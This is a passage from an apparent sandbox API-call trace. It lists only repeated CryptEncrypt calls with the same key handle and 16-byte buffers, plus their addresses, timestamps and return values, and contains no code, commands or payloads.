pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.513] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.514] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.515] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.516] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.517] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.518] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.519] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.520] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: 